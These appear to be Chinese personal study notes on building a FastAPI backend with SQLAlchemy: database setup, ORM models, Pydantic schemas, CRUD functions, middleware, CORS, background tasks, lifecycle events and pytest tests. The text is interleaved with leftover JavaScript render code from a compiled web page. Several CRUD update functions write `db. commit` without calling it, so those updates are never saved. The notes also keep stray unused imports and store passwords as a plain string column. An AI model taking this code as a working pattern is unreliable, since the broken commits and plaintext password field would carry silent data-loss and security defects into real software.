+ SQLALCHEMY_DATABASE_URL, connect_args= { "check_same_thread" : False }
+)
+
connect_args={"check_same_thread": False}
字段只有在使用 SQLite
时才需要
SQLite 默认只允许一个线程通信, 假设每个线程处理一个独立的请求
这是为了防止意外地为不同请求共享相同的 connection
但是在 FastAPI 的函数中, 不止一个 thread 可以向 database 发起请求, 所以我们需要让 SQLIte 知道它应当通过 connect_args = {"check_same_thread": False}
允许这些 thread 向数据库发请求
创建一个 SessionLocal 类 SessionLocal 类的每个实例都是一个 database session, 不过该类本身并非 database session(数据库会话)
但是一旦我们创建了一个 SessionLocal 类的示例, 那么这个实例将会成为实际的 database session
我们将其命名为 SessionLocal 以与从 SQLAlchemy 中引入的 Session 相区分
使用 sessionmaker 来创建一个 SessionLocal 类
SessionLocal = sessionmaker( autocommit= False , autoflush= False , bind= engine)
+
创建一个 Base 类 使用 declarative_base 来返回一个类赋给 Base
后面我们会继承这个类来创建每个数据库的 model 和 class(ORM models)
Base = declarative_base( )
+
创建 database models 编辑 models.py
从 Base 类创建 SQLAlchemy model SQLAlchemy 使用术语 "model" 来指代这些与数据库交互的 class 及 instance
不过需要注意的是 Pydantic 也使用术语 "model" 来指代不同的东西, data validation, coversion, documentation classes 以及 instances
从 database.py
引入 Base
类
创建继承于 Base 类的子类
这些子类都是 SQLAlchemy model
from . database import Base
+
+class Admin ( Base) :
+ __tablename__ = "admin"
+
+class Good ( Base) :
+__tablename__ = "Good"
+
+
+from tokenize import Double
+from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, FLOAT
+from sqlalchemy. orm import relationship
+
+class Admin ( Base) :
+ __tablename__ = "admin"
+
+ uid = Column( Integer, primary_key= True , index= True )
+ password = Column( String)
+
+class Good ( Base) :
+ __tablename__ = "Good"
+
+ GoodID = Column( Integer, primary_key= True , index= True )
+ GoodName = Column( String)
+ GoodPrice = Column( FLOAT)
+
__tablename__
属性告诉 SQLAlchemy 在数据库中为每个 model 使用的表名
创建 model attributes/columns 创建所有 model 的 attribute
这些 attribute 对应的表示数据库相应表中的一列
我们使用 SQLAlchemy 中的 Column
作为默认值
然后传递一个 SQLAlchemy 类 "type", 作为 Interger
, String
, 或者 Boolean
, 将数据库中的字段类型定义为一个参数
创建 relationships 个人写的示例中没有定义外键, 因为后面要加速开发原型, 所以个人示例比较简略
因此这部分搬下官方示例
我们使用 SQLAlchemy ORM 提供的 relationship
来创建 relationship
这将或多或少称为一个 "magic" attribute, 他讲包含与此表关联的其他表的值
当我们从 User
中访问 items
属性时, 比如 my_user.items
, 他将生成一个 Item
SQLAlchemy models 列表(来自 items
表), 其中有一个外键指向 users
表中的这个记录
当访问 my_usr.items
时, SQLAlchemy 实际上会从数据库的 items
表中查询到这些 items并填入这里
当我们访问 Item
中的 owner
属性时, 他将包含来自 users
表的 User
SQLAlchemy model; 他将使用 onwer_id
attribute/column 及其外键来决定从 users
表中获取哪些记录
创建 Pydantic model 编辑 schemas.py
为了避免 SQLAlchemy models
和 Pydantic models
之间的混淆,我们在 models.py
中创建 SQLAlchemy models
, 在 shcemas.py
中创建Pydantic models
这些 Pydantic models
或多或少地定义了一个"schema"
(一个有效的 data shape
)。
因此,这将有助于我们避免在使用二者时可能产生的混淆
创建 initial Pydantic models / schemas 创建一个 StaffBase Pydantic model
(或者说 schema
) 一遍在创建和读取数据时由公共属性
然后创建一个 StaffCreate
继承自 StaffBase
SQLAlchemy style 和 Pydantic style 在 SQLAlchemy models 中定义属性时使用的是 =
, 并将类型作为参数传给 Column
, 如下:
然而在 Pydantic models 中使用 :
声明这些类型, 如下:
创建用于 reading / returning 的 Pydantic models / schemas 创建 Pydantic models(schemas), 当从 API 返回数据时, 将在读取数据时使用它
例如, 在创建一个 staff 时我们不知道他的 id 是什么, 但是当读取他(从 API 返回他) 时, 我们已经知道它的 ID
使用 Pydantic 的 orm_mode 现在, 在 Pydantic models 中为了方便读取, 给 Staff 类添加一个内部的 Config 类
这个 Config 类用于向 Pydantic 提供配置
在 Config 类中, 将 orm_mode 属性设置为 True
需要注意的是使用 =
进行赋值 它不像前面一样使用 :
进行类型声明 这是设置一个配置值而非声明一个类型
Pydantic 的 orm-mode 会告诉 Pydantic model 读取数据, 即便它并非是个 dict 而是 ORM model(或者其他任何具有属性的任意对象)
如此一来, 不再只是类似如下操作一样从 dict 中获取类型:
它也会尝试从属性中获取到 id, 如:
有了这些, Pydantic model 就和 ORM 兼容了, 并且你可以只在 path 操作中的 response_model
参数中声明它
您将能够返回一个 database model, 并从中读取数据
关于 ORM mode 的技术细节 `,87),sn={href:"https://fastapi.tiangolo.com/zh/tutorial/sql-databases/#technical-details-about-orm-mode",target:"_blank",rel:"noopener noreferrer"},an=e(`SQLAlchemy 和许多其他的默认方法是“lazy loading”。
这意味着,例如,它们不会从数据库中获取关系数据,除非您尝试访问将包含该数据的属性。
例如,访问 items 属性:
将使 SQLAlchemy 转到 items 表并获取该用户的条目,但不是在此之前。
如果没有 orm_mode,则如果从路径操作返回 SQLAlchemy 模型,它将不包含关系数据。
即使你在你的 Pydantic 模型中声明了这些关系。
但是在 ORM 模式下,由于 Pydantic 本身将尝试从属性访问它需要的数据(而不是假设 dict) ,你可以声明你想要返回的特定数据,它将能够去获取它,甚至是从 ORM。
CRUD utils 编辑 crud.py
在这个文件中,我们将使用可重用的函数与数据库中的数据进行交互。
CRUD 来自: Creat(创建)、Read(读取)、Update(更新) 和 Delete(删除)。
'''
+Author: 咸鱼型233
+Date: 2022-04-25 16:35:15
+LastEditors: 咸鱼型233
+LastEditTime: 2022-04-25 20:29:15
+FilePath: \\VbenBackend\\sql_app\\curd.py
+Description:
+Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
+'''
+'''
+-*- encoding: utf-8 -*-
+@文件 :curd.py
+@时间 :2022/04/18 21:07:48
+@作者 :咸鱼型233
+@说明 :
+'''
+from sqlalchemy. orm import Session
+
+from . import models, schemas
+
+
+def get_staff ( db: Session, id : int ) :
+ return db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+
+
+def get_staff_by_staffNo ( db: Session, staffNo: str ) :
+ return db. query( models. Staff) . filter ( models. Staff. staffNo == staffNo) . first( )
+
+
+def get_staffs ( db: Session, skip: int = 0 , limit: int = 100 ) :
+ return db. query( models. Staff) . offset( skip) . limit( limit) . all ( )
+
+
+def create_staff ( db: Session, staff: schemas. StaffCreate) :
+ db_staff = models. Staff( ** staff. dict ( ) )
+ db. add( db_staff)
+ db. commit( )
+ db. refresh( db_staff)
+ return db_staff
+
+
+def update_staff_staffNo ( db: Session, id : int , staffNo: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. staffNo = staffNo
+ db. commit( )
+ return db_staff
+
+
+def update_staff_name ( db: Session, id : int , name: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. name = name
+ db. commit( )
+ return db_staff
+
+
+def update_staff_sex ( db: Session, id : int , sex: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. sex = sex
+ db. commit
+ return db_staff
+
+
+def update_staff_birthday ( db: Session, id : int , birthday: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. birthday = birthday
+ db. commit
+ return db_staff
+
+
+def update_staff_phone ( db: Session, id : int , phone: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. phone = phone
+ db. commit
+ return db_staff
+
+
+def update_staff_education ( db: Session, id : int , education: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. education = education
+ db. commit
+ return db_staff
+
+
+def update_staff_namePinyin ( db: Session, id : int , namePinyin: str ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db_staff. namePinyin = namePinyin
+ db. commit
+ return db_staff
+
+
+
+def delete_staff ( db: Session, id : int ) :
+ db_staff = db. query( models. Staff) . filter ( models. Staff. id == id ) . first( )
+ db. delete( db_staff)
+ db. commit( )
+ return db_staff
+
+
Main FastAPI app 编辑 main.py
创建数据库表 用一种非常简单的方式创建数据库表
models. Base. metadata. create_all( bind= engine)
+
创建 dependency 现在使用我们在 sql_app/databases.py
文件中创建的 SessionLocal
类创建一个依赖项。
我们需要每个请求都有一个独立的数据库会话/连接(SessionLocal) ,在所有请求中使用同一个会话,然后在请求完成后关闭它。
然后为下一个请求创建一个新会话。
为此,我们将创建一个带有 yield 的新 dependency,如前面关于 Dependencies 与 yield 的部分所解释的那样。
我们的依赖项将创建一个新的 SQLAlchemy SessionLocal,它将在单个请求中使用,然后在请求完成后关闭它。
+def get_db ( ) :
+ db = SessionLocal( )
+ try :
+ yield db
+ finally :
+ db. close( )
+
我们将 SessionLocal()
的创建和请求的处理放在一个 try 块中。 然后我们在 finally 块关闭它。 这样我们就可以确保在请求之后数据库会话总是关闭的。即使在处理请求时出现异常。 但是您不能从退出代码(在 yield 之后)中引发另一个异常
然后,当在路径操作函数中使用依赖项时,我们使用直接从 SQLAlchemy 导入的 Session 类型声明它。
这样我们就可以在路径操作函数中获得更好的编辑器支持,因为编辑器会知道 db 参数的类型是 Session:
Prisma `,34),tn={href:"https://github.com/tiangolo/fastapi/issues/4659#issuecomment-1143744431",target:"_blank",rel:"noopener noreferrer"},en={href:"https://prisma-client-py.readthedocs.io/en/stable/",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://github.com/prisma/prisma",target:"_blank",rel:"noopener noreferrer"},on={href:"https://www.prisma.io/",target:"_blank",rel:"noopener noreferrer"},cn=e(`[TODO: 前端 TS 能用, 后端可以用 Prisma-python, 看起来比 SQLAlchemy 好用, 下个项目准备上 Prisma && Prisma-python]
数据库操作(慕课网) 配置 SQLAlchemy ORM from sqlalchemy import create_engine
+from sqlalchemy. ext. declarative import declarative_base
+from sqlalchemy. orm import sessionmaker
+import os
+
+
+SQLALCHEMY_DATABASE_URL = "sqlite:///E:/GithubProject/Vben/VbenBackend/static/data/vben.db"
+
+
+
+engine = create_engine(
+ SQLALCHEMY_DATABASE_URL,
+ encoding= 'utf-8' ,
+
+ echo= True ,
+
+
+
+ connect_args= { "check_same_thread" : False }
+)
+
+
+
+
+SessionLocal = sessionmaker(
+
+ autocommit= False ,
+
+ autoflush= False ,
+ bind= engine
+)
+
+
+Base = declarative_base( )
+
+
DataBase Models `,8),ln={href:"https://www.bilibili.com/video/BV1iN411X72b?p=35",target:"_blank",rel:"noopener noreferrer"},un=e(`'''
+Author: 咸鱼型233
+Date: 2022-04-28 16:38:14
+LastEditors: 咸鱼型233
+LastEditTime: 2022-04-30 23:54:14
+FilePath: \\VbenBackend\\app\\model.py
+Description: database model
+Copyright (c) 2022 by 咸鱼型233, All Rights Reserved.
+'''
+from xml. etree. ElementTree import Comment
+from sqlalchemy import (
+ Boolean,
+ Column,
+ ForeignKey,
+ Integer,
+ String,
+ FLOAT,
+ BigInteger,
+ Date,
+ DateTime,
+ func,
+)
+from sqlalchemy. orm import relationship
+from . database import Base
+
+
+class Department ( Base) :
+ """部门类
+ """
+ __tablename__ = "department"
+
+ did = Column( Integer, primary_key= True , nullable= False , comment = "部门id" )
+ dname = Column( String( 30 ) , nullable= False , comment= "部门名称" )
+
+
+ staffs = relationship( "Staff" , back_populates= "reDid" )
+
+
+ created_at = Column( DateTime, server_default= func. now( ) , comment= "创建时间" )
+ updated_at = Column( DateTime, server_default= func. now( ) ,
+ onupdate= func. now( ) , comment= "更新时间" )
+
+
+
+
+
+
+
+
+ def __repr__ ( self) :
+ return f"<Department { self. did} _ { self. dname} >"
+
+
+
+class Staff ( Base) :
+ """员工类
+ """
+ __tablename__ = "staff"
+
+ sid = Column( Integer, primary_key= True , nullable= False , comment= "员工id" )
+ sname = Column( String( 30 ) , nullable= False , comment= "员工姓名" )
+ did = Column( Integer, ForeignKey( "department.did" ) , comment= "员工所属单位id" )
+
+
+ reDid = relationship( "Department" , back_populates= "staffs" )
+
+
+ created_at = Column( DateTime, server_default= func. now( ) , comment= "创建时间" )
+ updated_at = Column( DateTime, server_default= func. now( ) ,
+ onupdate= func. now( ) , comment= "更新时间" )
+
+
+
+
+
+
+
+
+ def __repr__ ( self) :
+ return f"<Staff { self. sid} _ { self. sname} _ { self. did} >"
+
+
+class User ( Base) :
+ """用户类
+ """
+ __tablename__ = "user"
+
+ uid = Column( Integer, primary_key= True , nullable= False , autoincrement= True , comment= "用户id" )
+ account = Column( Integer, nullable= False , comment= "账号" )
+ password = Column( String( 30 ) , nullable= False , comment= "密码" )
+ uname = Column( String( 30 ) , comment= "用户名" )
+ role = Column( Integer, nullable= False , comment= "身份组" )
+
`,1),rn={href:"https://www.imooc.com/qadetail/353354",target:"_blank",rel:"noopener noreferrer"},dn=n("strong",null,"mapper_args",-1),kn=e(`新版本的 sqlalchemy 丢弃了 mappter_args 当中设置的方法
应当用 db.query().order_by() 直接在 Query 对象后面显示地调用 order_by 函数
例如:
db. query( models. City) . order_by( models. City. province) . offset( ) . limit( ) . all ( )
+
+db. query( models. Data) . order_by( models. Data. confirmed) . . . .
+
`,4),mn=e(' 大型工程的目录结构设计 应用文件拆分
app
应用根目录 databse.py
创建 SQLAlchemymodel.py
Database modelsschema
Pydantic models, 定义请求模型与响应模型 crud
crud 操作 routers
各个部分的 APIRouter
cors.py
跨域资源请求配置main.py
主应用程序enums.py
枚举类定义 中间件 ',6),vn={href:"https://www.bilibili.com/video/BV1iN411X72b?p=38",target:"_blank",rel:"noopener noreferrer"},bn=e(`对于每一个 request
请求到来, 在到达应用(业务逻辑处理)之前会先经过一/多层中间件处理后到达应用(视图, 函数等) , 在返回前经过一/多层中间件处理, 返回结果给客户端
可以使用中间件拦截所有的 request
请求或者 response
响应
在 main app
中
@app. middleware ( 'http' )
+async def add_process_time_header ( request: Request, call_next) :
+ """拦截所有 request 请求, 计算其在框架中的处理时间并把结果加载 response header 中
+ :param request: request 请求
+ :param call_next: 将接收request请求做为参数
+ """
+ start_time = time. time( )
+ response = await call_next( request)
+ process_time = time. time( ) - start_time
+ response. headers[ 'X-Process-Time' ] = str ( process_time)
+ return response
+
需要注意的是带yield的依赖的退出部分的代码 和 后台任务 会在中间件之后运行
跨域资源共享 `,9),hn={href:"https://fastapi.tiangolo.com/zh/tutorial/cors/",target:"_blank",rel:"noopener noreferrer"},gn={href:"https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS",target:"_blank",rel:"noopener noreferrer"},yn=e(` 源 源是协议(http
,https
)、域(myapp.com
,localhost
,localhost.tiangolo.com
)以及端口(80
、443
、8080
)的组合。
因此,这些都是不同的源:
http://localhost
https://localhost
http://localhost:8080
即使它们都在 localhost
中,但是它们使用不同的协议或者端口,所以它们都是不同的「源」。
步骤 假设你的浏览器中有一个前端运行在 https://localhost:3100
,并且它的 JavaScript 正在尝试与运行在 http://localhost:8000
的后端通信
然后,浏览器会向后端发送一个 HTTP OPTIONS
请求,如果后端发送适当的 headers 来授权来自这个不同源(https://localhost:3100
)的通信,浏览器将允许前端的 JavaScript 向后端发送请求。
为此,后端必须有一个「允许的源」列表。
在这种情况下,它必须包含 https://localhost:3100
,前端才能正常工作。
通配符 也可以使用 "*"
(一个「通配符」)声明这个列表,表示全部都是允许的。
但这仅允许某些类型的通信,不包括所有涉及凭据的内容:像 Cookies 以及那些使用 Bearer 令牌的授权 headers 等。
因此,为了一切都能正常工作,最好显式地指定允许的源。
使用 CORSMiddleWare 你可以在 FastAPI 应用中使用 CORSMiddleware
来配置它。
导入 CORSMiddleware
。 创建一个允许的源列表(由字符串组成)。 将其作为「中间件」添加到你的 FastAPI 应用中。 你也可以指定后端是否允许:
凭证(授权 headers,Cookies 等)。 特定的 HTTP 方法(POST
,PUT
)或者使用通配符 "*"
允许所有方法。 特定的 HTTP headers 或者使用通配符 "*"
允许所有 headers。 from fastapi. middleware. cors import CORSMiddleware
+
+origins = [
+ "http://localhost" ,
+ "https://localhost" ,
+ "http://localhost:3100" ,
+ "https://localhost:3100" ,
+]
+
+app = FastAPI( )
+
+
+app. add_middleware(
+ CORSMiddleware,
+ allow_origins= origins,
+ allow_credentials= True ,
+ allow_methods= [ "*" ] ,
+ allow_headers= [ "*" ] ,
+)
+
默认情况下,这个 CORSMiddleware
实现所使用的默认参数较为保守,所以你需要显式地启用特定的源、方法或者 headers,以便浏览器能够在跨域上下文中使用它们。
支持以下参数:
allow_origins
- 一个允许跨域请求的源列表。例如 ['https://example.org', 'https://www.example.org']
。你可以使用 ['*']
允许任何源。allow_origin_regex
- 一个正则表达式字符串,匹配的源允许跨域请求。例如 'https://.*\\.example\\.org'
。allow_methods
- 一个允许跨域请求的 HTTP 方法列表。默认为 ['GET']
。你可以使用 ['*']
来允许所有标准方法。allow_headers
- 一个允许跨域请求的 HTTP 请求头列表。默认为 []
。你可以使用 ['*']
允许所有的请求头。Accept
、Accept-Language
、Content-Language
以及 Content-Type
请求头总是允许 CORS 请求。allow_credentials
- 指示跨域请求支持 cookies。默认是 False
。另外,允许凭证时 allow_origins
不能设定为 ['*']
,必须指定源。expose_headers
- 指示可以被浏览器访问的响应头。默认为 []
。max_age
- 设定浏览器缓存 CORS 响应的最长时间,单位是秒。默认为 600
。中间件响应两种特定类型的 HTTP 请求……
CORS 预检请求 这是些带有 Origin
和 Access-Control-Request-Method
请求头的 OPTIONS
请求。
在这种情况下,中间件将拦截传入的请求并进行响应,出于提供信息的目的返回一个使用了适当的 CORS headers 的 200
或 400
响应。
简单请求 任何带有 Origin
请求头的请求。在这种情况下,中间件将像平常一样传递请求,但是在响应中包含适当的 CORS headers。
后台任务 `,37),qn={href:"https://www.bilibili.com/video/BV1iN411X72b?p=41",target:"_blank",rel:"noopener noreferrer"},fn={href:"https://fastapi.tiangolo.com/zh/tutorial/background-tasks/",target:"_blank",rel:"noopener noreferrer"},_n=e(`最典型的使用是: 用户注册之后发邮件
用户能够在前端立刻得到返回, 但是接口中实行的是比较耗时的任务
引入 fastapi.BackgroundTask
后通过在异步函数中调用其中的 add_task
来添加后台任务
+import os
+from fastapi import APIRouter, BackgroundTasks, Depends
+
+file_path = os. path. abspath( os. path. join( os. path. dirname( __file__) , './README.md' ) )
+
+def bg_task ( framework: str ) :
+ """已续写的形式用 utf-8 编码写入README.md"""
+ with open ( file_path, mode= "a" , encoding= "utf-8" ) as f:
+ f. write( f"\\n### { framework} 框架精讲" )
+
+
+@app08. post ( "/background_tasks" )
+async def run_bg_task ( framework: str , background_tasks: BackgroundTasks) :
+ """
+ :param framework: 被调用的后台任务函数的参数
+ :param background_tasks: FastAPI.BackgroundTasks
+ :return:
+ """
+ background_tasks. add_task( bg_task, framework)
+ return { "message" : "任务已在后台运行" }
+
+
+def continue_write_readme ( background_tasks: BackgroundTasks, q: Optional[ str ] = None ) :
+ if q:
+ background_tasks. add_task( bg_task,
+ "\\n> 整体的介绍 FastAPI, 快速上手开发, 结合 API 交互文档逐个讲解核心模块的使用\\n" )
+ return q
+
+
+@app08. post ( "/dependency/background_tasks" )
+async def dependency_run_bg_task ( q: str = Depends( continue_write_readme) ) :
+ """用依赖注入的方式导入后台任务
+ """
+ if q:
+ return { "message" : "README.md更新成功" }
+
+
与依赖注入一起使用 `,6),En={href:"https://fastapi.tiangolo.com/zh/tutorial/background-tasks/#dependency-injection",target:"_blank",rel:"noopener noreferrer"},wn=n("hr",null,null,-1),An=n("p",null,[s("使用 "),n("code",null,"BackgroundTasks"),s(" 还可以与依赖注入系统一起工作, 你可以在多个层次上声明一个 "),n("code",null,"BackgroundTasks"),s(" 类型的参数(可以在 "),n("code",null,"path operation"),s(" 函数中, 在 "),n("code",null,"dependency(dependable)"),s(" 中, 亦可以在 "),n("code",null,"sub-dependency"),s(" 等处声明)")],-1),Bn=n("div",{class:"language-python line-numbers-mode","data-ext":"py"},[n("pre",{class:"language-python"},[n("code",null,[n("span",{class:"token comment"},"# Python 3.10 and above"),s(`
+`),n("span",{class:"token keyword"},"from"),s(" fastapi "),n("span",{class:"token keyword"},"import"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(" Depends"),n("span",{class:"token punctuation"},","),s(` FastAPI
+
+app `),n("span",{class:"token operator"},"="),s(" FastAPI"),n("span",{class:"token punctuation"},"("),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"write_log"),n("span",{class:"token punctuation"},"("),s("message"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"with"),s(),n("span",{class:"token builtin"},"open"),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"log.txt"'),n("span",{class:"token punctuation"},","),s(" mode"),n("span",{class:"token operator"},"="),n("span",{class:"token string"},'"a"'),n("span",{class:"token punctuation"},")"),s(),n("span",{class:"token keyword"},"as"),s(" log"),n("span",{class:"token punctuation"},":"),s(`
+ log`),n("span",{class:"token punctuation"},"."),s("write"),n("span",{class:"token punctuation"},"("),s("message"),n("span",{class:"token punctuation"},")"),s(`
+
+
+`),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"get_query"),n("span",{class:"token punctuation"},"("),s("background_tasks"),n("span",{class:"token punctuation"},":"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(" q"),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(),n("span",{class:"token operator"},"|"),s(),n("span",{class:"token boolean"},"None"),s(),n("span",{class:"token operator"},"="),s(),n("span",{class:"token boolean"},"None"),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ `),n("span",{class:"token keyword"},"if"),s(" q"),n("span",{class:"token punctuation"},":"),s(`
+ message `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string-interpolation"},[n("span",{class:"token string"},'f"found query: '),n("span",{class:"token interpolation"},[n("span",{class:"token punctuation"},"{"),s("q"),n("span",{class:"token punctuation"},"}")]),n("span",{class:"token string"},'\\n"')]),s(`
+ background_tasks`),n("span",{class:"token punctuation"},"."),s("add_task"),n("span",{class:"token punctuation"},"("),s("write_log"),n("span",{class:"token punctuation"},","),s(" message"),n("span",{class:"token punctuation"},")"),s(`
+ `),n("span",{class:"token keyword"},"return"),s(` q
+
+
+`),n("span",{class:"token decorator annotation punctuation"},[s("@app"),n("span",{class:"token punctuation"},"."),s("post")]),n("span",{class:"token punctuation"},"("),n("span",{class:"token string"},'"/send-notification/{email}"'),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token keyword"},"async"),s(),n("span",{class:"token keyword"},"def"),s(),n("span",{class:"token function"},"send_notification"),n("span",{class:"token punctuation"},"("),s(`
+ email`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),n("span",{class:"token punctuation"},","),s(" background_tasks"),n("span",{class:"token punctuation"},":"),s(" BackgroundTasks"),n("span",{class:"token punctuation"},","),s(`
+ q`),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token builtin"},"str"),s(),n("span",{class:"token operator"},"="),s(" Depends"),n("span",{class:"token punctuation"},"("),s("get_query"),n("span",{class:"token punctuation"},")"),s(`
+`),n("span",{class:"token punctuation"},")"),n("span",{class:"token punctuation"},":"),s(`
+ message `),n("span",{class:"token operator"},"="),s(),n("span",{class:"token string-interpolation"},[n("span",{class:"token string"},'f"message to '),n("span",{class:"token interpolation"},[n("span",{class:"token punctuation"},"{"),s("email"),n("span",{class:"token punctuation"},"}")]),n("span",{class:"token string"},'\\n"')]),s(`
+ background_tasks`),n("span",{class:"token punctuation"},"."),s("add_task"),n("span",{class:"token punctuation"},"("),s("write_log"),n("span",{class:"token punctuation"},","),s(" message"),n("span",{class:"token punctuation"},")"),s(`
+ `),n("span",{class:"token keyword"},"return"),s(),n("span",{class:"token punctuation"},"{"),n("span",{class:"token string"},'"message"'),n("span",{class:"token punctuation"},":"),s(),n("span",{class:"token string"},'"Message sent"'),n("span",{class:"token punctuation"},"}"),s(`
+
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),xn=e('
在这个示例中 query 参数传入 email
和 q
接口在处理完 email
生成 message
并返回给用户后会将 message
传给后台任务 weite_log
来记录日志
如果 query 参数中有 q
, 那么它会在 get_query
函数中处理然后创给后台任务 write_log
来记录日志
高级用户指南 启动和停止事件 ',7),Pn={href:"https://fastapi.tiangolo.com/zh/advanced/events/?h=log#events-startup-shutdown",target:"_blank",rel:"noopener noreferrer"},Sn=n("hr",null,null,-1),Fn=n("p",null,[s("你可以定义 "),n("code",null,"event handlers(functions)"),s(" 让其在应用程序启动前,或在应用程序关闭时执行。")],-1),Tn=n("p",null,"这些函数可以是同步的也可以是异步的",-1),Dn=n("code",null,"main application",-1),In={href:"https://fastapi.tiangolo.com/zh/advanced/sub-applications/",target:"_blank",rel:"noopener noreferrer"},Cn=e(` startup
事件 如果你需要在应用开始前执行一个函数, 那么可以使用 startup
事件来定义这样一个函数
from fastapi import FastAPI
+
+app = FastAPI( )
+
+items = { }
+
+
+@app. on_event ( "startup" )
+async def startup_event ( ) :
+ items[ "foo" ] = { "name" : "Fighters" }
+ items[ "bar" ] = { "name" : "Tenders" }
+
+
+@app. get ( "/items/{item_id}" )
+async def read_items ( item_id: str ) :
+ return items[ item_id]
+
+
在此事例中, 在应用启动前将会通过 startup_event
函数初始化 items
字典
我们可以在应用启动前记录 uvicorn 产生的日志
import logging
+
+@app. on_event ( "startup" )
+async def startup_event ( ) :
+ logger = logging. getLogger( "uvicorn.access" )
+ handler = logging. handlers. RotatingFileHandler( "api.log" , mode= "a" , maxBytes = 100 * 1024 , backupCount = 3 )
+ handler. setFormatter( logging. Formatter( "%(asctime)s - %(levelname)s - %(message)s" ) )
+ logger. addHandler( handler)
+
这样记录的话, uvicorn 的输出就会记录在 api.log
中
shutdown
事件 与 startup
事件类似, 你也可以通过 shutdown
事件定义一个函数以在应用关闭后执行
from fastapi import FastAPI
+
+app = FastAPI()
+
+
+@app.on_event("shutdown")
+def shutdown_event():
+ with open("log.txt", mode="a") as log:
+ log.write("Application shutdown")
+
+
+@app.get("/items/")
+async def read_items():
+ return [{"name": "Foo"}]
+
+
在此示例中, 在应用关闭后将会将 Application shutdown
写入到 log.txt
的末尾
需要注意的是, 在此事例中我们用到了 open
函数, 其不可以用于异步, 因此这里使用了 def
而非 async def
测试用例 `,18),Ln={href:"https://fastapi.tiangolo.com/zh/tutorial/testing/",target:"_blank",rel:"noopener noreferrer"},On={href:"https://www.bilibili.com/video/BV1iN411X72b?p=43",target:"_blank",rel:"noopener noreferrer"},Un=e(`需要使用 fastapi.testclient.TestClient
以及 pytest
+
+
+
+from fastapi. testclient import TestClient
+
+from . run import app
+
+
+
+client = TestClient( app)
+
+
+def test_run_bg_task ( ) :
+ """函数名用“test_”开头是 pytest 的规范。注意不是 async def
+ """
+ response = client. post( url= "/chapter08/background_tasks?framework=FastAPI" )
+ assert response. status_code == 200
+ assert response. json( ) == { "message" : "任务已在后台运行" }
+
+
+def test_dependency_run_bg_task ( ) :
+ response = client. post( url= "/chapter08/dependency/background_tasks" )
+ assert response. status_code == 200
+ assert response. json( ) is None
+
+
+def test_dependency_run_bg_task_q ( ) :
+ response = client. post( url= "/chapter08/dependency/background_tasks?q=1" )
+ assert response. status_code == 200
+ assert response. json( ) == { "message" : "README.md更新成功" }
+
+
测试使用 pytest
进行测试
在命令行中 cd
到测试文件所在目录然后 pytest
运行 uvicorn app.mian:app --reload --host 'xxx' --port xxx
+
`,8),Rn=n("p",null,[n("code",null,"--relaod"),s(" 可以更新自动重载")],-1),Hn={href:"https://www.zditect.com/article/34997596.html",target:"_blank",rel:"noopener noreferrer"},Nn={href:"https://blog.csdn.net/weixin_46248273/article/details/119930170",target:"_blank",rel:"noopener noreferrer"},Qn={href:"https://www.uvicorn.org/settings/#development",target:"_blank",rel:"noopener noreferrer"},jn=e(`需要注意的是 --reload
会跟踪当前工作目录, 当前工作目录有文件更新则会自动重载
请使用 --reload-dir 目录
来设置重新加载目录
`,4),Mn=n("p",null,[n("code",null,"--port"),s(" 可以指定端口运行")],-1),Wn=n("p",null,[n("code",null,"--host"),s(" 可以用于指定 host, 当在服务器上跑 uvicorn 时可以指定 "),n("code",null,"–host ‘0.0.0.0’ "),s(" 否则会自动挂载在本地上")],-1),zn=e(` 放在主程序中运行 if __name__ == '__main__' :
+ uvicorn_run( '__main__:app' , host= uvicorn_host, port= uvicorn_port, reload = uvicorn_reload)
+
上 HTTPS
uvicorn_run( '__main__:app' , host= uvicorn_host, port= uvicorn_port, reload = False , ssl_keyfile= "./static/ssl/example.key" , ssl_certfile= "./static/ssl/example.crt" )
+
